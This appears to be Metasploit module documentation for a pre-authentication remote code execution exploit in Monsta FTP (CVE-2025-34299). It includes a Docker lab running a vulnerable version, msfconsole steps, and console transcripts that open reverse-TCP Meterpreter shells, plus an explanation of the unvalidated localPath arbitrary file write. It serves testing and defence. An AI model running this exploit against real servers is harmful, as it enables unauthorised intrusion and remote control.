## Vulnerable Application

This module exploits a pre-authenticated remote code execution vulnerability in Monsta FTP
versions < 2.11.3. The vulnerability exists in the `downloadFile` action which allows an
attacker to connect to a malicious FTP or SFTP server and download arbitrary files to
arbitrary locations on the Monsta FTP server.

### Setting up the lab environment

The easiest way to test this module is using Docker. The lab environment automatically
downloads and installs Monsta FTP 2.10.4 from archive.org during the build process.

**Using Docker Compose:**

Create a `docker-compose.yml` file with the following content:

```yaml
version: '3.8'

services:
  monsta-ftp:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: monsta-ftp-test
    ports:
      - "8081:80"
    restart: unless-stopped
```

Create a `Dockerfile` in the same directory:

```dockerfile
FROM php:7.4-apache

    # Install dependencies for FTP extension (OpenSSL) and tools for download/extraction
RUN apt-get update && apt-get install -y \
    libssl-dev \
    wget \
    unzip \
    && rm -rf /var/lib/apt/lists/*

    # Install FTP extension
RUN docker-php-ext-install ftp

    # Enable mod_rewrite
RUN a2enmod rewrite

    # Download and extract Monsta FTP 2.10.4
RUN wget -q https://web.archive.org/web/20240101174551/https://www.monstaftp.com/downloads/monsta_ftp_2.10.4_install.zip -O /tmp/monsta_ftp.zip && \
    unzip -q /tmp/monsta_ftp.zip -d /tmp/ && \
    mv /tmp/mftp /var/www/html/mftp && \
    rm -f /tmp/monsta_ftp.zip

    # Configure permissions
RUN chown -R www-data:www-data /var/www/html/mftp && \
    chmod -R 755 /var/www/html/mftp

EXPOSE 80

CMD ["apache2-foreground"]
```

**Build and start the lab:**

```bash
docker-compose up -d
```

The lab will be available at `http://127.0.0.1:8081/mftp/`

**Verify the installation:**

```bash
curl http://127.0.0.1:8081/mftp/
```

You should see the Monsta FTP login page.

**Container management:**

- Stop the container: `docker stop monsta-ftp-test`
- Start the container: `docker start monsta-ftp-test`
- View logs: `docker logs monsta-ftp-test`
- Stop and remove the container: `docker rm -f monsta-ftp-test`

### Manual installation

If you prefer to install Monsta FTP manually:

1. Download Monsta FTP 2.10.4 from
   [archive.org](https://web.archive.org/web/20240101174551/https://www.monstaftp.com/downloads/monsta_ftp_2.10.4_install.zip)
2. Extract the archive to your web server's document root (e.g., `/var/www/html/mftp/`)
3. Ensure PHP 7.4+ is installed with the FTP extension enabled
4. Configure appropriate file permissions

## Verification Steps

1. Start the vulnerable Monsta FTP instance (see lab setup above)
2. Start msfconsole
3. Do: `use exploit/multi/http/monsta_ftp_downloadfile_rce`
4. Do: `set TARGETURI /mftp/`
5. Do: `set SRVPORT 2121` (if you need a non-privileged port)
6. Do: `run`
7. You should get a Meterpreter session

## Options

This module has no specific options beyond the standard framework options.

## Scenarios

### PHP In-Memory Target (Default)

This target uses PHP payloads that execute in memory. Tested with `php/meterpreter/reverse_tcp`.

```
msf6 > use exploit/multi/http/monsta_ftp_downloadfile_rce
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set TARGETURI /mftp/
TARGETURI => /mftp/
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set SRVPORT 2121
SRVPORT => 2121
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > run

[*] Started reverse TCP handler on 192.168.1.44:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 2.10.4 is vulnerable
[*] Starting FTP service...
[*] Started service listener on 0.0.0.0:2121 
[*] FTP server started on 0.0.0.0:2121
[*] Triggering HTTP request...
[*] File downloaded successfully: yinlIo39X3.php
[*] Triggering payload at /mftp/application/api/yinlIo39X3.php...
[*] Sending stage (41224 bytes) to 172.19.0.2
[+] Deleted yinlIo39X3.php
[*] Meterpreter session 1 opened (192.168.1.44:4444 -> 172.19.0.2:44678) at 2025-11-21 20:32:21 +0100

meterpreter > 
```

### Unix/Linux Command Shell Target

This target uses command-based payloads for Unix/Linux systems. Tested with `cmd/linux/http/x64/meterpreter/reverse_tcp`.

```
msf6 > use exploit/multi/http/monsta_ftp_downloadfile_rce
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set TARGETURI /mftp/
TARGETURI => /mftp/
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > set SRVPORT 2122
SRVPORT => 2122
msf6 exploit(multi/http/monsta_ftp_downloadfile_rce) > run

[*] Fetch handler listening on 192.168.1.44:8080
[*] HTTP server started
[*] Adding resource /6eOxm60cJX6RvgKA0PEHWQ
[*] Started reverse TCP handler on 192.168.1.44:4445 
[*] Starting FTP service...
[*] Started service listener on 0.0.0.0:2122 
[*] FTP server started on 0.0.0.0:2122
[*] Triggering HTTP request...
[*] File downloaded successfully: Lrd998qb.php
[*] Triggering payload at /mftp/application/api/Lrd998qb.php...
[*] Client 172.19.0.2 requested /6eOxm60cJX6RvgKA0PEHWQ
[*] Sending payload to 172.19.0.2 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.19.0.2
[+] Deleted Lrd998qb.php
[*] Meterpreter session 1 opened (192.168.1.44:4445 -> 172.19.0.2:35862) at 2025-11-21 20:32:48 +0100

meterpreter > 
```

## Technical Details

### How it works

1. The module starts a malicious FTP server with random credentials
2. It sends an HTTP POST request to the vulnerable `downloadFile` endpoint with FTP connection details
3. Monsta FTP connects to the malicious FTP server and downloads the payload
4. The payload is written to an arbitrary location (controlled by the `localPath` parameter)
5. The module triggers the payload execution via HTTP GET request
6. The payload automatically deletes itself after execution (via FileDropper mixin)

### Why FTP Works

While the [watchTowr Labs research](https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/)
demonstrates the vulnerability using SFTP, FTP works identically because both connection types
use the same vulnerable pattern:

**SFTP Implementation** (`SFTPConnection.php`):
```php
protected function handleDownloadFile($transferOperation) {
    $remoteURL = $this->getRemoteFileURL($transferOperation->getRemotePath());
    if(@copy($remoteURL, $transferOperation->getLocalPath()))
        return true;
    // ...
}
```

**FTP Implementation** (`FTPConnection.php`):
```php
protected function handleDownloadFile($transferOperation) {
    return @ftp_get($this->connection, 
                    $transferOperation->getLocalPath(),  // <-- User-controlled destination
                    $transferOperation->getRemotePath(),
                    $transferOperation->getTransferMode());
}
```

In both cases, `getLocalPath()` returns the user-controlled `localPath` parameter from the
request context, allowing arbitrary file write to any location on the server's filesystem. The
only difference is the PHP function used (`copy()` for SFTP vs `ftp_get()` for FTP), but both
accept user-controlled destination paths without proper validation.

## References

- [CVE-2025-34299](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-34299)
- [watchTowr Labs - Monsta FTP Remote Code Execution
  CVE-2025-34299](https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/)

